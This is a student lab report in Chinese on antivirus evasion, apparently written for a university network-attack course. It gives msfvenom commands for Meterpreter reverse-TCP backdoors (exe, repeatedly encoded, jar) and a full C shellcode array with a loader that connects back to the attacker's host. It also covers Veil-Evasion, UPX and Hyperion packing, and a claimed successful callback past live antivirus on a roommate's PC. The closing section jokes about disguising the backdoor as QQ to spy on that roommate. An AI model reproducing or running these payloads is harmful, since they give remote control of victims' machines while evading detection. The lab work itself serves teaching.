一、实践内容

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

2.通过组合应用各种技术实现恶意代码免杀(0.5分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

二、基础问题回答

(1)杀软是如何检测出恶意代码的?

答:

  ①基于特征码检测;如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很重要。

  ②启发式恶意软件检测;如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。

  ③基于行为的恶意软件检测;相当于是启发式的一种,或者是加入了行为监控的启发式。

(2)免杀是做什么?

答:免杀就是通过处理恶意软件好让其不被杀毒软件检测出来。

(3)免杀的基本方法有哪些?

答:

  ①改变特征码;若只有exe可以通过加壳,包括压缩壳和加密壳来改变特征码。若有源代码,可用其他语言进行重新再编译(veil-evasion)。

  ②改变行为;通讯方式尽量使用反弹式连接、隧道技术或者加密通讯数据。操作模式最好基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。

三、实验过程

(一)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

Windows的IP:192.168.219.131

Linux的IP:192.168.219.128

1.msfvenom直接生成meterpreter可执行文件

(1)查看用msfvenom指令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.128 LPORE=4314 -f exe > 20164314_backdoor.exe生成的后门可执行文件的免杀效果;

(2)打开网址在http://www.virscan.org/网站上查一下这个病毒能被多少杀软检测出来(要把后门的名字改成符合网站要求的名字),发现有61%的杀软(30/49)报告发现病毒,说明这种方式形成的后门免杀效果很差

2.Msfvenom使用编码器生成meterpreter可执行文件

(1)msfvenom使用编码器,输入指令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.219.128 LPORT=4314 -f exe > 201643140_backdoor.exe

(2) 查看生成的后门文件的免杀效果,发现有55%的杀软(27/49)报告发现病毒,我以为说编码会降低检出率,结果却差不多,没有什么太大的变化

3.多次编码

(1)尝试多编码几次,输入指令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b  ‘\x00’ LHOST=192.168.199.132 LPORT=4319 -f exe > 15431900_backdoor.exe

(2)查看生成的后门文件的免杀效果

(3)发现有59%的杀软(29/49)报告发现病毒,看来多编码几次也并没有什么用

4.msfvenom生成jar文件

(1)msfvenom使用编码器,输入指令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=4314 x> 201643143_backdoor_java.jar

(2)查看生成的后门文件的免杀效果

(二)使用Veil-Evasion生成可执行文件

1.Veil-Evasion是一个免杀平台,与Metasploit有点类似,默认没装;

2.安装veil-evasion

参考网址:http://www.freebuf.com/sectool/89024.html

安装了两次,没有成功,可能是因为网速的问题吧········

最后找同学拷了一个·······,才“安装成功”。

3.输入指令:veil-evasion

veil-evasion

打开软件,自动列出可用的指令

4.输入命令

use c/meterpreter/rev_tcp.py

进入配置界面

5.设置反弹连接IP,命令为:

set LHOST 192.168.219.128

设置端口,命令为:

set LPORT 4314

查看:

6.输入指令generate,接着输入你想要playload的名字:ICes

7.在/var/lib/veil-evasion/output/compiled/下找到 ICes.exe 文件,传到Windows检测

免杀结果:

(三)C语言调动shellcode

(1)首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.128 LPORT=4314 -f c用c语言生成一段shellcode;

(2)将这些特征码复制到windows上,加上主函数后编译运行生成的可执行文件

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xdb\x80"
"\x68\x02\x00\x10\xda\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}

(3)运行.exe,提示木马文件

(4)用360查杀

(5)在网址http://www.virscan.org/查看

(6)运行回连kali

回连成功。

(7)用upx加壳

回连

(8)加密壳Hyperion

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令 wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe 进行加壳:

(四)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

回连室友电脑结果

四、离实战还缺些什么技术或步骤

1.我们要成功监听的话必须要靶机启动可执行文件,可以通过下载软件的时候可以捆绑到软件上,但是执行还是有一定难度的。

2.现在的杀毒软件的各种特征库更新的很快,要想达到实战还需要做到灵活更新。

五、实验体会

为了完成这次实验,经历了千辛万苦,花了大半天的时间,最后基本完成了实验要求。通过这次实践,实现了恶意软件的免杀,而且这个过程也不是很复杂,不禁让我有了那么一丝恐惧,我的电脑里是不是也有不少这样的恶意软件,一定要抽个时间好好检查检查,还让我有了一丝兴奋,一旦把恶意软件伪装成QQ,拷到我室友电脑里,等他一运行,他的秘密将无处可藏,哈哈哈哈(手动滑稽)(别提醒他)。

Exp3 免杀原理与实践 20164314 郭浏聿的更多相关文章

  1. Exp2 后门原理与实践 20164314 郭浏聿

    1.实践内容 (1)使用nc实现win,Linux间的后门连接. 热身 (2)使用netcat获取主机操作Shell,cron启动. (3)使用socat获取主机操作Shell, 任务计划启动. (4 ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

随机推荐

  1. 删除Widows 启动项中的信息

    1.打开任务管理器切换到启动Tab,在需要删除的项目上点击右键,点击打开文件所在位置,这样就找到了启动项所在磁盘位置,可以根据需要决定是否删除. 2.从注册表中删除在启动中的注册信息. regedit ...

  2. python进阶之生成器

    迭代器 什么叫迭代 可以被for循环的就说明他们是可迭代的,比如:字符串,列表,字典,元祖,们都可以for循环获取里面的数据 下面我们看一个代码: number = 12345 for i in nu ...

  3. vue源码分析—认识 Flow

    认识 Flow Flow 是 facebook 出品的 JavaScript 静态类型检查⼯具.Vue.js 的源码利⽤了 Flow 做了静态类型检查, 所以了解 Flow 有助于我们阅读源码 Flo ...

  4. timers模块

    timers模块 var timers = require('timers'); function A() { //将A对象注册到定时器里 timers.enroll(); //进行激活,如果不激活, ...

  5. mysql5.7出现大量too many connections及too many open files错误,且配置最大连接数未生效

    too many connections是由于mysql配置中连接数过少,不足以支撑当前的并发数,too many open files是由于mysql open_files_limit的值大小不够. ...

  6. SQL进阶随笔--case用法(一)

    SQL进阶一整个是根据我看了pdf版本的整理以及自己的见解整理.后期也方便我自己查看和复习. CASE 表达式 CASE 表达式是从 SQL-92 标准开始被引入的.可能因为它是相对较新的技术,所以尽 ...

  7. LVS实现负载均衡安装配置详解

    =========实践LVS/NAT模式========== 1.实验环境 三台服务器,一台作为 director,两台作为 real server,director 有一个外网网卡(172.16.2 ...

  8. 二、Redis安装

    一.下载Redis: 下载地址:https://github.com/MSOpenTech/redis/releases. 由于redis并不支持window系统,而window版本的redis的是由 ...

  9. 搭建一个MP-demo(mybatis_plus)

    MyBatis-Plus(简称 MP)是一个 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发.提高效率而生. 搭建一个简单的MP-demo 1.配置pom.xml ...

  10. 2019中山大学程序设计竞赛 Triangle

    今天水了一发hdu上的中山校赛 这个题交了将近十遍才过...... 就是说给 n 个木棍,如果能找出3个能组成三角形的木棍就输出yes 反之输出no 乍一看很简单 一个排序遍历一遍就好了 但是n值太大 ...